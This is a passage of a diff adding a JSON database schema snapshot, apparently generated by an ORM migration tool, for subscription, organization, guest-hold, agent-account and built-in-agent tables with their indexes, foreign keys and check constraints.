+ "notNull": true,
+ "default": 0
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "gifted": {
+ "name": "gifted",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giftedExtraSeats": {
+ "name": "giftedExtraSeats",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giftRevision": {
+ "name": "giftRevision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "collectionMethod": {
+ "name": "collectionMethod",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'charge_automatically'"
+ },
+ "currentPeriodStart": {
+ "name": "currentPeriodStart",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "currentPeriodEnd": {
+ "name": "currentPeriodEnd",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cancelAtPeriodEnd": {
+ "name": "cancelAtPeriodEnd",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "seatsReconciledThrough": {
+ "name": "seatsReconciledThrough",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeStorageItemId": {
+ "name": "stripeStorageItemId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageBlocks": {
+ "name": "storageBlocks",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "storageGraceBlocks": {
+ "name": "storageGraceBlocks",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "storageGraceUntil": {
+ "name": "storageGraceUntil",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "storageRevision": {
+ "name": "storageRevision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "org_subscriptions_orgId_organizations_id_fk": {
+ "name": "org_subscriptions_orgId_organizations_id_fk",
+ "tableFrom": "org_subscriptions",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "restrict",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "org_subscriptions_orgId_unique": {
+ "name": "org_subscriptions_orgId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "orgId"
+ ]
+ },
+ "org_subscriptions_stripeSubscriptionId_unique": {
+ "name": "org_subscriptions_stripeSubscriptionId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeSubscriptionId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.organizations": {
+ "name": "organizations",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "avatarUrl": {
+ "name": "avatarUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerId": {
+ "name": "ownerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "policies": {
+ "name": "policies",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{}'::jsonb"
+ },
+ "stripeCustomerId": {
+ "name": "stripeCustomerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stripeSubscriptionId": {
+ "name": "stripeSubscriptionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "seatAutoAdd": {
+ "name": "seatAutoAdd",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "organizations_owner_id_idx": {
+ "name": "organizations_owner_id_idx",
+ "columns": [
+ {
+ "expression": "ownerId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "organizations_ownerId_users_id_fk": {
+ "name": "organizations_ownerId_users_id_fk",
+ "tableFrom": "organizations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "restrict",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "organizations_slug_unique": {
+ "name": "organizations_slug_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "slug"
+ ]
+ },
+ "organizations_stripeCustomerId_unique": {
+ "name": "organizations_stripeCustomerId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "stripeCustomerId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "organizations_avatar_url_chk": {
+ "name": "organizations_avatar_url_chk",
+ "value": "\"organizations\".\"avatarUrl\" IS NULL OR \"organizations\".\"avatarUrl\" ~ ('^/api/orgs/' || \"organizations\".\"id\" || '/avatar/avatar-[a-z0-9]{1,32}\\.(png|jpg|gif|webp)$')"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.org_guest_holds": {
+ "name": "org_guest_holds",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "orgId": {
+ "name": "orgId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "state": {
+ "name": "state",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "origin": {
+ "name": "origin",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "request": {
+ "name": "request",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{}'::jsonb"
+ },
+ "parked": {
+ "name": "parked",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requestedBy": {
+ "name": "requestedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "(now() at time zone 'utc')"
+ }
+ },
+ "indexes": {
+ "org_guest_holds_org_state_idx": {
+ "name": "org_guest_holds_org_state_idx",
+ "columns": [
+ {
+ "expression": "orgId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "state",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_guest_holds_drive_id_idx": {
+ "name": "org_guest_holds_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_guest_holds_user_id_idx": {
+ "name": "org_guest_holds_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_guest_holds_user_drive_state_key": {
+ "name": "org_guest_holds_user_drive_state_key",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "state",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"org_guest_holds\".\"userId\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "org_guest_holds_email_drive_state_key": {
+ "name": "org_guest_holds_email_drive_state_key",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lower(\"email\")",
+ "asc": true,
+ "isExpression": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "state",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"org_guest_holds\".\"userId\" IS NULL AND \"org_guest_holds\".\"email\" IS NOT NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "org_guest_holds_orgId_organizations_id_fk": {
+ "name": "org_guest_holds_orgId_organizations_id_fk",
+ "tableFrom": "org_guest_holds",
+ "tableTo": "organizations",
+ "columnsFrom": [
+ "orgId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_guest_holds_driveId_drives_id_fk": {
+ "name": "org_guest_holds_driveId_drives_id_fk",
+ "tableFrom": "org_guest_holds",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_guest_holds_userId_users_id_fk": {
+ "name": "org_guest_holds_userId_users_id_fk",
+ "tableFrom": "org_guest_holds",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "org_guest_holds_requestedBy_users_id_fk": {
+ "name": "org_guest_holds_requestedBy_users_id_fk",
+ "tableFrom": "org_guest_holds",
+ "tableTo": "users",
+ "columnsFrom": [
+ "requestedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "org_guest_holds_shape": {
+ "name": "org_guest_holds_shape",
+ "value": "(\"org_guest_holds\".\"userId\" IS NOT NULL) <> (\"org_guest_holds\".\"email\" IS NOT NULL) AND (\"org_guest_holds\".\"state\" <> 'suspended' OR \"org_guest_holds\".\"userId\" IS NOT NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.agent_account_approvals": {
+ "name": "agent_account_approvals",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "accountId": {
+ "name": "accountId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "requestDigest": {
+ "name": "requestDigest",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "outcome": {
+ "name": "outcome",
+ "type": "agent_account_approval_outcome",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "approvedByUserId": {
+ "name": "approvedByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "approvedViaSessionId": {
+ "name": "approvedViaSessionId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "stepUpChallengeId": {
+ "name": "stepUpChallengeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumedAt": {
+ "name": "consumedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "consumedByGrantId": {
+ "name": "consumedByGrantId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "agent_account_approvals_account_digest_idx": {
+ "name": "agent_account_approvals_account_digest_idx",
+ "columns": [
+ {
+ "expression": "accountId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "requestDigest",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_account_approvals_accountId_agent_accounts_id_fk": {
+ "name": "agent_account_approvals_accountId_agent_accounts_id_fk",
+ "tableFrom": "agent_account_approvals",
+ "tableTo": "agent_accounts",
+ "columnsFrom": [
+ "accountId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_account_approvals_approvedByUserId_users_id_fk": {
+ "name": "agent_account_approvals_approvedByUserId_users_id_fk",
+ "tableFrom": "agent_account_approvals",
+ "tableTo": "users",
+ "columnsFrom": [
+ "approvedByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "agent_account_approvals_consumed_chk": {
+ "name": "agent_account_approvals_consumed_chk",
+ "value": "(\"agent_account_approvals\".\"consumedAt\" IS NULL) = (\"agent_account_approvals\".\"consumedByGrantId\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.agent_account_bindings": {
+ "name": "agent_account_bindings",
+ "schema": "",
+ "columns": {
+ "accountId": {
+ "name": "accountId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "boundByUserId": {
+ "name": "boundByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "boundAt": {
+ "name": "boundAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "agent_account_bindings_agent_page_id_idx": {
+ "name": "agent_account_bindings_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "agentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_account_bindings_accountId_agent_accounts_id_fk": {
+ "name": "agent_account_bindings_accountId_agent_accounts_id_fk",
+ "tableFrom": "agent_account_bindings",
+ "tableTo": "agent_accounts",
+ "columnsFrom": [
+ "accountId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_account_bindings_agentPageId_pages_id_fk": {
+ "name": "agent_account_bindings_agentPageId_pages_id_fk",
+ "tableFrom": "agent_account_bindings",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_account_bindings_boundByUserId_users_id_fk": {
+ "name": "agent_account_bindings_boundByUserId_users_id_fk",
+ "tableFrom": "agent_account_bindings",
+ "tableTo": "users",
+ "columnsFrom": [
+ "boundByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "agent_account_bindings_accountId_agentPageId_pk": {
+ "name": "agent_account_bindings_accountId_agentPageId_pk",
+ "columns": [
+ "accountId",
+ "agentPageId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_account_delegations": {
+ "name": "agent_account_delegations",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "accountId": {
+ "name": "accountId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "delegatedByUserId": {
+ "name": "delegatedByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scope": {
+ "name": "scope",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "agent_account_delegations_account_id_idx": {
+ "name": "agent_account_delegations_account_id_idx",
+ "columns": [
+ {
+ "expression": "accountId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_account_delegations_accountId_agent_accounts_id_fk": {
+ "name": "agent_account_delegations_accountId_agent_accounts_id_fk",
+ "tableFrom": "agent_account_delegations",
+ "tableTo": "agent_accounts",
+ "columnsFrom": [
+ "accountId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_account_delegations_agentPageId_pages_id_fk": {
+ "name": "agent_account_delegations_agentPageId_pages_id_fk",
+ "tableFrom": "agent_account_delegations",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_account_delegations_delegatedByUserId_users_id_fk": {
+ "name": "agent_account_delegations_delegatedByUserId_users_id_fk",
+ "tableFrom": "agent_account_delegations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "delegatedByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.agent_accounts": {
+ "name": "agent_accounts",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "kind": {
+ "name": "kind",
+ "type": "agent_account_kind",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerKind": {
+ "name": "ownerKind",
+ "type": "agent_account_owner_kind",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "ownerUserId": {
+ "name": "ownerUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerAgentPageId": {
+ "name": "ownerAgentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ownerDriveId": {
+ "name": "ownerDriveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "tenantId": {
+ "name": "tenantId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "providerSlug": {
+ "name": "providerSlug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "allowedOrigins": {
+ "name": "allowedOrigins",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "auxiliaryOrigins": {
+ "name": "auxiliaryOrigins",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'[]'::jsonb"
+ },
+ "resourceRestrictions": {
+ "name": "resourceRestrictions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'{}'::jsonb"
+ },
+ "approvalPolicy": {
+ "name": "approvalPolicy",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "credentialVersion": {
+ "name": "credentialVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "policyVersion": {
+ "name": "policyVersion",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "acknowledgment": {
+ "name": "acknowledgment",
+ "type": "agent_account_acknowledgment",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sessionFormat": {
+ "name": "sessionFormat",
+ "type": "agent_account_session_format",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sessionHttpEnabled": {
+ "name": "sessionHttpEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "status": {
+ "name": "status",
+ "type": "agent_account_status",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'active'"
+ },
+ "upstreamRevocation": {
+ "name": "upstreamRevocation",
+ "type": "agent_account_upstream_revocation",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastUsedAt": {
+ "name": "lastUsedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "publicKey": {
+ "name": "publicKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "revokedAt": {
+ "name": "revokedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "agent_accounts_owner_user_id_idx": {
+ "name": "agent_accounts_owner_user_id_idx",
+ "columns": [
+ {
+ "expression": "ownerUserId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_accounts_owner_agent_page_id_idx": {
+ "name": "agent_accounts_owner_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "ownerAgentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "agent_accounts_owner_drive_id_idx": {
+ "name": "agent_accounts_owner_drive_id_idx",
+ "columns": [
+ {
+ "expression": "ownerDriveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "agent_accounts_ownerUserId_users_id_fk": {
+ "name": "agent_accounts_ownerUserId_users_id_fk",
+ "tableFrom": "agent_accounts",
+ "tableTo": "users",
+ "columnsFrom": [
+ "ownerUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_accounts_ownerAgentPageId_pages_id_fk": {
+ "name": "agent_accounts_ownerAgentPageId_pages_id_fk",
+ "tableFrom": "agent_accounts",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "ownerAgentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "agent_accounts_ownerDriveId_drives_id_fk": {
+ "name": "agent_accounts_ownerDriveId_drives_id_fk",
+ "tableFrom": "agent_accounts",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "ownerDriveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "agent_accounts_owner_scope_chk": {
+ "name": "agent_accounts_owner_scope_chk",
+ "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"ownerUserId\" IS NOT NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NULL AND \"agent_accounts\".\"ownerDriveId\" IS NULL)\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"ownerUserId\" IS NULL AND \"agent_accounts\".\"ownerAgentPageId\" IS NOT NULL AND \"agent_accounts\".\"ownerDriveId\" IS NOT NULL)"
+ },
+ "agent_accounts_tenant_derived_chk": {
+ "name": "agent_accounts_tenant_derived_chk",
+ "value": "(\"agent_accounts\".\"ownerKind\" = 'user' AND \"agent_accounts\".\"tenantId\" = 'user:' || \"agent_accounts\".\"ownerUserId\")\n OR (\"agent_accounts\".\"ownerKind\" = 'agent_page' AND \"agent_accounts\".\"tenantId\" = 'drive:' || \"agent_accounts\".\"ownerDriveId\")"
+ },
+ "agent_accounts_allowed_origins_nonempty_chk": {
+ "name": "agent_accounts_allowed_origins_nonempty_chk",
+ "value": "jsonb_typeof(\"agent_accounts\".\"allowedOrigins\") = 'array' AND jsonb_array_length(\"agent_accounts\".\"allowedOrigins\") > 0"
+ },
+ "agent_accounts_session_format_chk": {
+ "name": "agent_accounts_session_format_chk",
+ "value": "(\"agent_accounts\".\"kind\" = 'session') = (\"agent_accounts\".\"sessionFormat\" IS NOT NULL)"
+ },
+ "agent_accounts_session_http_chk": {
+ "name": "agent_accounts_session_http_chk",
+ "value": "\"agent_accounts\".\"sessionHttpEnabled\" = false OR \"agent_accounts\".\"kind\" = 'session'"
+ },
+ "agent_accounts_versions_chk": {
+ "name": "agent_accounts_versions_chk",
+ "value": "\"agent_accounts\".\"credentialVersion\" >= 0 AND \"agent_accounts\".\"policyVersion\" >= 1"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.user_builtin_agents": {
+ "name": "user_builtin_agents",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_builtin_agents_user_key_idx": {
+ "name": "user_builtin_agents_user_key_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "key",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "user_builtin_agents_page_idx": {
+ "name": "user_builtin_agents_page_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_builtin_agents_userId_users_id_fk": {
+ "name": "user_builtin_agents_userId_users_id_fk",
+ "tableFrom": "user_builtin_agents",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "user_builtin_agents_pageId_pages_id_fk": {
+ "name": "user_builtin_agents_pageId_pages_id_fk",
+ "tableFrom": "user_builtin_agents",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.imago_drive_access": {
+ "name": "imago_drive_access",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
